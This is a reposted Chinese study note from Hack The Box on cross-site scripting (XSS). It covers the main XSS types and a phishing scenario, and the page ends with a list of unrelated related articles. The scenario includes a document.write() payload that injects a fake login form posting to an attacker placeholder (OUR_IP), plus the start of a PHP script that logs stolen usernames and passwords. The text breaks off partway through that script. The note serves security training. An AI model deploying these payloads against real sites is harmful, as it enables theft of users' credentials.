当前位置: 首页 > article >正文

HTB 笔记 | XSS 攻击核心知识与防御指南

在这里插入图片描述

1. XSS 攻击概述

  • 定义:跨站脚本(XSS)是一种常见的安全漏洞,允许攻击者在受害者的浏览器中注入并执行恶意脚本。
  • 危害
    • 窃取用户敏感信息(如会话令牌、Cookie)。
    • 劫持用户会话。
    • 实施钓鱼攻击。
    • 篡改网页内容。

2. 常见的 XSS 攻击类型

  1. 存储型 XSS
    • 攻击脚本永久存储在目标服务器上。
    • 所有访问该页面的用户均受影响。
  2. 反射型 XSS
    • 攻击脚本通过 URL 参数传递,诱导用户点击恶意链接。
  3. DOM 型 XSS
    • 攻击脚本通过修改页面 DOM 节点触发。
  4. 盲 XSS(Blind XSS)
    • 漏洞触发在攻击者无法直接访问的页面(如管理员后台)。

3. XSS 攻击场景与实践

3.1 钓鱼攻击
  • 目标:通过伪造登录表单窃取用户凭证。
  • 步骤
    1. 发现 XSS 漏洞
      • 测试输入参数,找到可执行恶意脚本的注入点。
    2. 注入伪造登录表单
      • 使用 document.write() 注入 HTML 登录表单。
      • 示例代码:
        document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
        
    3. 隐藏原始元素
      • 使用 document.getElementById().remove() 移除干扰元素。
      • 示例代码:
        document.getElementById('urlform').remove();
        
    4. 捕获凭证
      • 使用 PHP 脚本记录 GET 请求中的用户名和密码。
      • 示例代码:
        <?php
        if (isset($_GET['username']) && isset($_GET['password'])) {
                 
            $file = fopen("creds.txt", "a+");
            fputs($file, "Username: {
                   $_GET['username']} | Password: 

http://www.kler.cn/a/600285.html

相关文章:

  • allure结合pytest生成测试报告
  • Redis--redis客户端
  • flask,示例及解释
  • rhce证书过期后怎么办
  • Linux中执行 ifconfig 命令时提示 “未找到命令”
  • FreGS: 3D Gaussian Splatting with Progressive Frequency Regularization论文学习记录
  • JavaScript中匿名函数与箭头函数之间的区别与联系
  • RabbitMQ 集群搭建步驟
  • React - LineChart组件编写(用于查看每日流水图表)
  • 实用工具--OfficeAI 助手 v0.3.20(长期免费,2025-03-18 本地支持WPSWord联动)
  • 使用nginx
  • CentOS 7上配置虚拟用户的FTP服务
  • WordPress自动代码高亮插件Code Prettify插件
  • 中间件漏洞之tomcat
  • 【QT】QTCreator测试程序
  • 重庆软航NTKO WebOffice控件在谷歌Chrome 133版提示扩展已停用解决方案!
  • 未来二十年的量子计算
  • JavaScript数组和对象
  • Spring Boot中接口数据字段为 Long 类型时,前端number精度丢失问题解决方案
  • Flask接口开发--GET接口